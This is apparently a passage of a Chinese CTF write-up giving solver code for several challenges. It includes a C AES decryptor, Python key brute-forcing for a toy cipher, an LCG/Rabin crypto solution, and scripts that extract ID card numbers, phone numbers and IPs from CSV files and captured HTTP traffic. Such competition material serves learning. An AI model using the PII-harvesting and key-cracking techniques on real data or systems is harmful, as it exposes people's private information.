plaintextcrypt[4 * i] = Mult2(plaintextencrypt[4 * i]) ^ Mult3(plaintextencrypt[4 * i + 1]) ^ plaintextencrypt[4 * i + 2] ^ plaintextencrypt[4 * i + 3];
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 1] = plaintextencrypt[4 * i] ^ Mult2(plaintextencrypt[4 * i + 1]) ^ Mult3(plaintextencrypt[4 * i + 2]) ^ plaintextencrypt[4 * i + 3];
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 2] = plaintextencrypt[4 * i] ^ plaintextencrypt[4 * i + 1] ^ Mult2(plaintextencrypt[4 * i + 2]) ^ Mult3(plaintextencrypt[4 * i + 3]);
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 3] = Mult3(plaintextencrypt[4 * i]) ^ plaintextencrypt[4 * i + 1] ^ plaintextencrypt[4 * i + 2] ^ Mult2(plaintextencrypt[4 * i + 3]);
}
/*逆列混淆*/
#define xtime(x) ((x<<1) ^ (((x>>7) & 1) * 0x1b))
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))
void MixColumnsRe(unsigned char *state)
{

unsigned char a, b, c, d;
for (int i = 0; i < 4; i++)
{
a = state[4*i];
b = state[4*i+1];
c = state[4*i+2];
d = state[4*i+3];
state[4 * i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
state[4 * i + 1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[4 * i + 2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[4 * i + 3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
int CharToWord(unsigned char *character, int first)/*字节转字*/
{
return (((int)character[first] & 0x000000ff) << 24) | (((int)character[first + 1] & 0x000000ff) << 16) | (((int)character[first + 2] & 0x000000ff) << 8) | ((int)character[first + 3] & 0x000000ff);
}
void WordToChar(unsigned int word, unsigned char *character)/*字转字节*/
{
for (int i = 0; i < 4; character[i++] = (word >> (8 * (3 - i))) & 0xFF);
}
void ExtendCipherKey(unsigned int *CipherKey_word, int round)/*密钥扩展*/
{
unsigned char CipherKeyChar[4] = { 0 },CipherKeyCharEncrypt[4] = { 0 };
unsigned int Rcon[10] = { 0x01000000,0x02000000,0x04000000,0x08000000,0x10000000,0x20000000,0x40000000,0x80000000,0x1B000000,0x36000000 }; //轮常量
for (int i = 4; i < 8; i++)
{
if (!(i % 4))
{
WordToChar((CipherKey_word[i - 1] >> 24) | (CipherKey_word[i - 1] << 8), CipherKeyChar);
SubBytes(CipherKeyChar, CipherKeyCharEncrypt, 4);
CipherKey_word[i] = CipherKey_word[i - 4] ^ CharToWord(CipherKeyCharEncrypt, 0) ^ Rcon[round];
}
else
CipherKey_word[i] = CipherKey_word[i - 4] ^ CipherKey_word[i - 1];
}
}
#include <stdlib.h>
void genString(int size){
char *text = (char *)malloc(size * sizeof(char));
for (size_t i = 0; i < size; i++)
{
text[i]=35+i;
}
puts(text);

}

char table[]="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ ";
char res[]={0x36,0x35,0x34,0x33,0x3a,0x39,0x38,0x37,0x3e,0x3d,0x85,0x84,0x83,0x8a,0x89,0x88,0x87,0x8e,0x8d,0x8c,0x8b,0x92,0x91,0x90,0x8f,0x76,0x75,0x74,0x73,0x7a,0x79,0x78,0x77,0x7e,0x7d,0x7c,0xa5,0xa4,0xa3,0xaa,0xa9,0xa8,0xa7,0xae,0xad,0xac,0xab,0xb2,
0xb1,0xb0,0xaf,0x96,0x95,0x94,0x93,0x9a,0x99,0x98,0x97,0x9e,0x9d,0x9c,0x45,0x44,0x43,0x4a,0x49,0x48,0x47,0x4e,0x4d,0x4c,0x4b,0x52,0x51,0x50,0x4f,0x3c,0x3b,0x42,0x41,0x40,0x3f,0xa6,0x9b,0xa2,0xa1,0xa0,0x9f,0x86,0x7b,0x82,0x81,0x80,0x66,0x66
};
char getcc(char in){
for (size_t i = 0; i < 96; i++)
{
if (in==res[i])
{
return table[i];
}

}

}
void main()
{
printf("**************AES加解密***************\n");
int i = 0, k;

unsigned mm[]={0x71,0x55,0x7f,0xa8,0xfa,0x0e,0xa3,0x19,0xa0,0x5c,0xf9,0x0e,0x9b,0x0b,0x5e,0xfc,0xb5,0xa8,0x49,0xfd,0x90,0x99,0x74,0xc7,0x77,0x02,0x6a,0xf5,0x9a,0x6a,0xba,0x7f,0xfb,0xe7,0x68,0xda,0x54,0xee,0xe8,0xbb,0x78,0x01,0xe7,0xbb,0xa2,0x95,0x95,0xfa};

unsigned char PlainText[48] ="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
,
CipherKey[16] = { 0x05,0x06,0x07,0x08,0x37,0x42,0x4d,0x58,0x63,0x00,0x0a,0x0c,0x0d,0x0e,0x0f,0x10 },
CipherKey1[16] = { 0x05,0x06,0x07,0x08,0x37,0x42,0x4d,0x58,0x63,0x00,0x0a,0x0c,0x0d,0x0e,0x0f,0x10},
PlainText1[48] = {
0x71, 0x55, 0x7F, 0xA8, 0xFA, 0x0E, 0xA3, 0x19, 0xA0, 0x5C, 0xF9, 0x0E, 0x9B, 0x0B, 0x5E, 0xFC,
0xB5, 0xA8, 0x49, 0xFD, 0x90, 0x99, 0x74, 0xC7, 0x77, 0x02, 0x6A, 0xF5, 0x9A, 0x6A, 0xBA, 0x7F,
0xFB, 0xE7, 0x68, 0xDA, 0x54, 0xEE, 0xE8, 0xBB, 0x78, 0x01, 0xE7, 0xBB, 0xA2, 0x95, 0x95, 0xFA

},
PlainText2[48] = { 0x71, 0x55, 0x7F, 0xA8, 0xFA, 0x0E, 0xA3, 0x19, 0xA0, 0x5C, 0xF9, 0x0E, 0x9B, 0x0B, 0x5E, 0xFC,
0xB5, 0xA8, 0x49, 0xFD, 0x90, 0x99, 0x74, 0xC7, 0x77, 0x02, 0x6A, 0xF5, 0x9A, 0x6A, 0xBA, 0x7F,
0xFB, 0xE7, 0x68, 0xDA, 0x54, 0xEE, 0xE8, 0xBB, 0x78, 0x01, 0xE7, 0xBB, 0xA2, 0x95, 0x95, 0xFA
};
unsigned int CipherKey_word[44] = { 0 };
for (i = 0; i < 4; CipherKey_word[i++] = CharToWord(CipherKey, 4 * i));
printf("密钥:");
for (k = 0; k < 16; k++) printf("%2X ", CipherKey[k]);
printf("\n明文:");
for (k = 0; k < 16; k++) printf("%02X ", PlainText[k]);
printf("\n**************开始加密****************");
AddRoundKey(PlainText, CipherKey);
for (i = 0; i < 9; i++)
{
SubBytes(PlainText, PlainText1, 16);/*S盒置换*/
ShiftRows(PlainText1); /*行移位*/
MixColumns(PlainText1, PlainText2); /*列混淆*/
ExtendCipherKey(CipherKey_word + 4 * i, i);/*子密钥生成*/
for (k = 0; k < 4; k++) WordToChar(CipherKey_word[k + 4 * (i + 1)], CipherKey + 4 * k);
for (k = 0; k < 16; k++) printf("%02X ", CipherKey[k]);
AddRoundKey(PlainText2, CipherKey);/*轮密钥加*/
for (k = 0; k < 16; k++) PlainText[k] = PlainText2[k];

}

SubBytes(PlainText, PlainText1, 16);
ShiftRows(PlainText1);
ExtendCipherKey(CipherKey_word + 4 * i, i);
for (k = 0; k < 4;WordToChar(CipherKey_word[k + 4 * (i + 1)], CipherKey + 4 * k), k++);
AddRoundKey(PlainText1, CipherKey);
printf("\n\n最终AES加密后的密文为:");
for (i = 0; i < 16; i++) printf("%02X ", PlainText1[i]);


for (size_t i = 0; i < 16; i++)
{
PlainText1[i]=mm[i]; // 解密第二段第三段偏移16,32即可
}


printf("\n\n**************开始解密***************");
AddRoundKey(PlainText1, CipherKey);
for (i = 0; i < 9; i++)
{

SubBytesRe(PlainText1, PlainText, 16);/*S盒置换*/
for (k = 0; k < 4; WordToChar(CipherKey_word[k + 40 - 4 * (i + 1)], CipherKey + 4 * k),k++);/*子密钥生成*/
ShiftRowsRe(PlainText);/*行移位逆*/
AddRoundKey(PlainText, CipherKey);/*轮密钥加*/
MixColumnsRe(PlainText);/*列混淆逆运算*/
for (k = 0; k < 16;PlainText1[k] = PlainText[k],k++);
}
printf("\n最后一次循环:");
ShiftRowsRe(PlainText);/*行移位逆*/
SubBytesRe(PlainText, PlainText1, 16);/*S盒置换*/
AddRoundKey(PlainText1, CipherKey1);
printf("\n最终AES解密后的明文为:");

for (i = 0; i < 16; i++) printf("%c",getcc( PlainText1[i]));
printf("\n");

}

Crypto

MyCode

key一共四字节,已经给了12bit,爆破就行了

要先把给的Ciphertext两两分割转列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import numpy as np
from Crypto.Util.number import *
from tqdm import *


def substitute(state, sub_box):
return [sub_box[b & 0xF] | (sub_box[(b >> 4) & 0xF] << 4) for b in state]

def generate_round_keys(base_key, rounds):
round_keys = []
temp_key = base_key
for _ in range(rounds):
round_keys.append(temp_key & 0xFFFFFFFF)
temp_key ^= ((temp_key << 1) & 0xFFFFFFFF) | ((temp_key >> 31) & 0x1)
return round_keys

def process_state(base_key, state, rounds, encrypt):
sub_box = [0x9, 0x4, 0xA, 0xB, 0xD, 0x1, 0x8, 0x5, 0x6, 0x2, 0x0, 0x3, 0xC, 0xE, 0xF, 0x7]
inv_sub_box = [0xA, 0x5, 0x9, 0xB, 0x1, 0x7, 0x8, 0xF, 0x6, 0x0, 0x2, 0x3, 0xC, 0x4, 0xD, 0xE]

round_keys = generate_round_keys(base_key, rounds)
if encrypt:
for round in range(rounds):
state = substitute(state, sub_box)
state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
else:
for round in range(rounds - 1, -1, -1):
state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
state = substitute(state, inv_sub_box)

return state

def encrypt(plaintext, key, rounds=10):
length = len(plaintext)
padded_length = length if length % 4 == 0 else length + (4 - (length % 4))
plaintext += b'\x00' * (padded_length - length)

ciphertext = bytearray(padded_length)
for i in range(0, padded_length, 4):
state = list(plaintext[i:i+4])
state = process_state(key, state, rounds, True)
ciphertext[i:i+4] = state

return ciphertext

def decrypt(ciphertext, key, rounds=10):
length = len(ciphertext)
plaintext = bytearray(length)
for i in range(0, length, 4):
state = list(ciphertext[i:i+4])
state = process_state(key, state, rounds, False)
plaintext[i:i+4] = state

return plaintext.rstrip(b'\x00')


Ciphertext = 'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F299022820299248C23D678442A902B4C24A8784A3EA401'

ciphertext = []
for i in range(0,len(Ciphertext),2):
ciphertext.append(int(Ciphertext[i:i+2],16))

print(ciphertext)

plaintext = b'DASCTF{'
key = 0xECB
print(key.bit_length())

for i in tqdm(range(2**21)):
flag = decrypt(ciphertext,key*2**20+i)
if b'DASCTF{' in flag:
print(flag)

DlcgH_r

Diffie-Hellman问题,但其实简单爆破出s和t即可,然后就是rabin解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
from gmpy2 import *

p = 2565258348684709722726260231955260453241716968378483821594041597297293609376806025180965681289016169408781752953380586044352169083397987333072306444539318806255242559916564022662479
a = 7703427441632069990122897903141278700284019287330080801753208940444135129072547305259960648105321270085533531118395452229965873504176368162947864923497711
b = 8477265953761650860710068507342719089504862957398782381045770264963932696457722724393775545810962476516315838411812248360284564925846788951219272632661157
s = 9228773209718156231041982890745928246648483643042884535935071957475932603607283209094294685862893340598940862096657878372229519375655468524041406914666867
A = 434251860827782638796736001849473241231781620594954088572922898040098881748337513244415553659525671751903798527967205418513869125476445927127124010452649344318178999731385274553080
B = 434251860827782638796736001849473241231781620594954088572922898040098881748337513244415553659525671751903798527967205418513869125476445927127124010452649344318178999731385274553080
assert A==B

seed = s
count = 0
while seed!=A:
seed = (a*seed+b)%p
count += 1
print(count)
#12345
seed = A
for i in range(12345):
seed = (a*seed+b)%p
print(seed)

p2 = next_prime(seed)

n2 = 3241139665583501598296135149075754735041636843305130049654913708275571916563715101898946962033698805416493133339619007016676895968314902474922279948997540924678346952667095320094789476561995339618782687993966133770687551933070478999383821269223854568552819152909266096733330218505088222661907600152055916956562332379930822529724151378274932991887183193175206749
c = 1131281812215293796960536920068009435705926803182047772347743960804329656316689664084120353862091370978145286943689311985878028828902275260824388998300548644880722651153603738691769179255824425771260974588160589473958033612303767050773921373389315920529311000160530833707622310013322631917184737227893101365726934901652170763292132835433158093074003616578836411

e = 4
q2 = n2//p2
print(isPrime(q2),isPrime(p2))

def rabin_decrypt(c, p, q, e=2):
n = p*q
mp = pow(c, (p+1)//4, p)
mq = pow(c, (q+1)//4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp*p*mq + yq*q*mp) % n
rr = n-r
s = (yp*p*mq - yq*q*mp) % n
ss = n-s
return (r,rr,s,ss)

m = rabin_decrypt(c, p2, q2)

for i in range(4):
try:
print(bytes.fromhex(hex(gmpy2.iroot(m[i],2)[0])[2:]))
except:
pass

数据安全

datasecurity_classify1

从 csv 里面读取数据,然后用正则一个个判断数据的类型,然后导出 csv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re
import csv

def validate_name(name):
if re.match("^[\u4e00-\u9fa5]+$", name):
return True
else:
return False

def validate_idcard(idcard):
if len(idcard) != 18:
return False

weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_codes = "10X98765432"
idcard_body = idcard[:-1]
idcard_check_digit = idcard[-1]

# 计算校验码
total = sum(int(num) * weight for num, weight in zip(idcard_body, weights))
remainder = total % 11
expected_check_digit = check_codes[remainder]

return idcard_check_digit.upper() == expected_check_digit

def validate_phone(phone):
valid_prefixes = [
'734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772',
'778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755',
'756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777',
'780', '781', '789', '790', '791', '793', '799'
]
if len(phone) == 11 and phone[:3] in valid_prefixes:
return True
else:
return False

data = open("data.csv", encoding="utf-8").read().split("\n")
result = ""

for line in data:
if validate_name(line):
result += f"姓名,{line}\n"
if validate_idcard(line):
result += f"身份证号,{line}\n"
if validate_phone(line):
result += f"手机号,{line}\n"

open("result.txt", "w", encoding="utf-8").write(result)

image

datasecurity_classify2

用 tshark 导出所有 http 请求的 post数据,然后 unhex 后用正则匹配出里面的信息

1
.\tshark.exe -r "D:\CTF\race_temp\历史\Yangchengbei2024-初赛\datesafe2\data.pcapng" -Y "http" -T fields -e http.file_data > D:\CTF\race_temp\历史\Yangchengbei2024-初赛\datesafe2\out.txt

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import binascii
import json
import re
import string

def validate_idcard(idcard):
if len(idcard) != 18:
return False

weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_codes = "10X98765432"
idcard_body = idcard[:-1]
idcard_check_digit = idcard[-1]

# 计算校验码
total = sum(int(num) * weight for num, weight in zip(idcard_body, weights))
remainder = total % 11
expected_check_digit = check_codes[remainder]

return idcard_check_digit.upper() == expected_check_digit

def validate_phone(phone):
valid_prefixes = [
"734", "735", "736", "737", "738", "739", "747", "748", "750", "751", "752", "757", "758", "759", "772", "778",
"782", "783", "784", "787", "788", "795", "798", "730", "731", "732", "740", "745", "746", "755", "756", "766",
"767", "771", "775", "776", "785", "786", "796", "733", "749", "753", "773", "774", "777", "780", "781", "789",
"790", "791", "793", "799"
]
if len(phone) == 11 and phone[:3] in valid_prefixes:
return True
else:
return False

def check_ip(ip):
for _ in ip.split("."):
# if len(str(int(_))) != len(_):
# return False
if not ( 0 <= int(_) <= 255):
return False
return True

data = open("pppdd.txt", "r").read().split("\n")
result = "category,value\n"

ip_r = re.compile(r"\d+\.\d+\.\d+\.\d+")
idcard1 = re.compile(r"\d{18}")
idcard2 = re.compile(r"\d{6}[ -]\d{8}[ -]\d{4}")
idcard12 = re.compile(r"\d{17}[xX]")
idcard2 = re.compile(r"\d{6}[ -]\d{8}[ -]\d{4}")
idcard22 = re.compile(r"\d{6}[ -]\d{8}[ -]\d{3}[xX]")
phone1 = re.compile(r"\d{11}")
phone2 = re.compile(r"\d{3}[ -]\d{4}[ -]\d{4}")

mpx = {}

result3 = ""

for line in data:
dt = binascii.unhexlify(line.strip()).decode()
# result3 += dt + "\n"

idcards = idcard1.findall(dt) + idcard2.findall(dt) + idcard12.findall(dt) + idcard22.findall(dt)
phones = phone1.findall(dt) + phone2.findall(dt)
ips = ip_r.findall(dt)

for _ in idcards:
idcard = _.replace(" ", "").replace("-", "")
if validate_idcard(idcard):
if f"idcard,{idcard}\n" not in mpx:
mpx[f"idcard,{idcard}\n"] = 1
result += f"idcard,{idcard}\n"

for _ in phones:
print(_)
phone = _.replace(" ", "").replace("-", "")
if validate_phone(phone):
if f"phone,{phone}\n" not in mpx:
mpx[f"phone,{phone}\n"] = 1
result += f"phone,{phone}\n"

for _ in ips:
if check_ip(_):
if _ not in mpx:
mpx[_] = 1
result += f"ip,{_}\n"

# open("unhex.txt", "w", encoding="utf-8").write(result3)


open("result2.csv", "w", encoding="utf-8").write(result)
 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量